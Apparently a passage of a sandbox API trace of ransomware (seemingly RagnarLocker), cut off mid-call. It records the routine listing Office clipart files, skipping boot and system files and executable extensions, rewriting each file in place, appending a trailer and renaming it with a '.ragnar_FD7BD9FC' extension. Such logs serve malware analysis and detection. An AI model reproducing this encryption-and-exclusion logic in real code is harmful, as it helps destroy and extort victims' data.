lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.480] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PSSKETSM.WMF" | out: lpString1="PSSKETSM.WMF") returned="PSSKETSM.WMF" [0090.480] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned=".WMF" [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="autorun.inf") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="boot.ini") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="bootfont.bin") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="bootsect.bak") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="bootmgr") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="bootmgr.efi") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="bootmgfw.efi") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="desktop.ini") returned 1 [0090.480] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="iconcache.db") returned 1 [0090.481] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="ntldr") returned 1 [0090.481] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="ntuser.dat") returned 1 [0090.481] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="ntuser.dat.log") returned 1 [0090.481] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="ntuser.ini") returned 1 [0090.481] lstrcmpiW (lpString1="PSSKETSM.WMF", lpString2="thumbs.db") returned -1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.481] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf")) returned 0x20 [0090.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.482] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1910) returned 1 [0090.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.482] GetProcessHeap () returned 0x580000 [0090.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.482] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.484] VirtualAlloc (lpAddress=0x0, dwSize=0x776, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.484] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x776, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x776, lpOverlapped=0x0) returned 1 [0090.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.484] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x776, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.484] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x776, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x776, lpOverlapped=0x0) returned 1 [0090.484] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x776, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.485] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x776, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.485] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.485] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.485] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.485] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.485] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.485] GetProcessHeap () returned 0x580000 [0090.485] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.485] CloseHandle (hObject=0xf4) returned 1 [0090.485] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" [0090.485] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.ragnar_FD7BD9FC" [0090.485] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.486] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0090.486] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.486] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PSWAVY.WMF" | out: lpString1="PSWAVY.WMF") returned="PSWAVY.WMF" [0090.486] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF") returned=".WMF" [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="autorun.inf") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="boot.ini") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="bootfont.bin") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="bootsect.bak") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="bootmgr") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="bootmgr.efi") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="bootmgfw.efi") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="desktop.ini") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="iconcache.db") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="ntldr") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="ntuser.dat") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="ntuser.dat.log") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="ntuser.ini") returned 1 [0090.486] lstrcmpiW (lpString1="PSWAVY.WMF", lpString2="thumbs.db") returned -1 [0090.486] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.487] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.487] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.487] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.487] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.487] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.487] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf")) returned 0x20 [0090.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.487] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2834) returned 1 [0090.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.487] GetProcessHeap () returned 0x580000 [0090.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.487] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.489] VirtualAlloc (lpAddress=0x0, dwSize=0xb12, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.489] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb12, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb12, lpOverlapped=0x0) returned 1 [0090.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.489] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb12, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.489] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb12, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb12, lpOverlapped=0x0) returned 1 [0090.489] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.489] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.490] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.490] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.490] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.490] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.490] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.490] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.490] GetProcessHeap () returned 0x580000 [0090.490] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.490] CloseHandle (hObject=0xf4) returned 1 [0090.490] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" [0090.490] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.ragnar_FD7BD9FC" [0090.490] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.491] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0090.491] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.491] lstrcpyW (in: lpString1=0x1eb62e, lpString2="RE00006_.WMF" | out: lpString1="RE00006_.WMF") returned="RE00006_.WMF" [0090.491] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF") returned=".WMF" [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="autorun.inf") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="boot.ini") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="bootfont.bin") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="bootsect.bak") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="bootmgr") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="bootmgr.efi") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="desktop.ini") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="iconcache.db") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="ntldr") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="ntuser.dat") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="ntuser.ini") returned 1 [0090.491] lstrcmpiW (lpString1="RE00006_.WMF", lpString2="thumbs.db") returned -1 [0090.491] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.491] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.491] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.491] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.491] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.492] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.492] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf")) returned 0x20 [0090.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.493] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1772) returned 1 [0090.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.493] GetProcessHeap () returned 0x580000 [0090.493] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.493] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.495] VirtualAlloc (lpAddress=0x0, dwSize=0x6ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.495] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6ec, lpOverlapped=0x0) returned 1 [0090.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.495] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.495] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6ec, lpOverlapped=0x0) returned 1 [0090.495] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.495] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.496] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.496] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.496] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.496] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.496] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.496] GetProcessHeap () returned 0x580000 [0090.496] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.496] CloseHandle (hObject=0xf4) returned 1 [0090.496] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" [0090.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.ragnar_FD7BD9FC" [0090.496] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.497] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1 [0090.497] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.497] lstrcpyW (in: lpString1=0x1eb62e, lpString2="RECYCLE.WMF" | out: lpString1="RECYCLE.WMF") returned="RECYCLE.WMF" [0090.497] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned=".WMF" [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="autorun.inf") returned 1 [0090.497] lstrcmpiW (lpString1="RECYCLE.WMF", lpString2="boot.ini") returned 1 [0090.497] lstrcmpiW 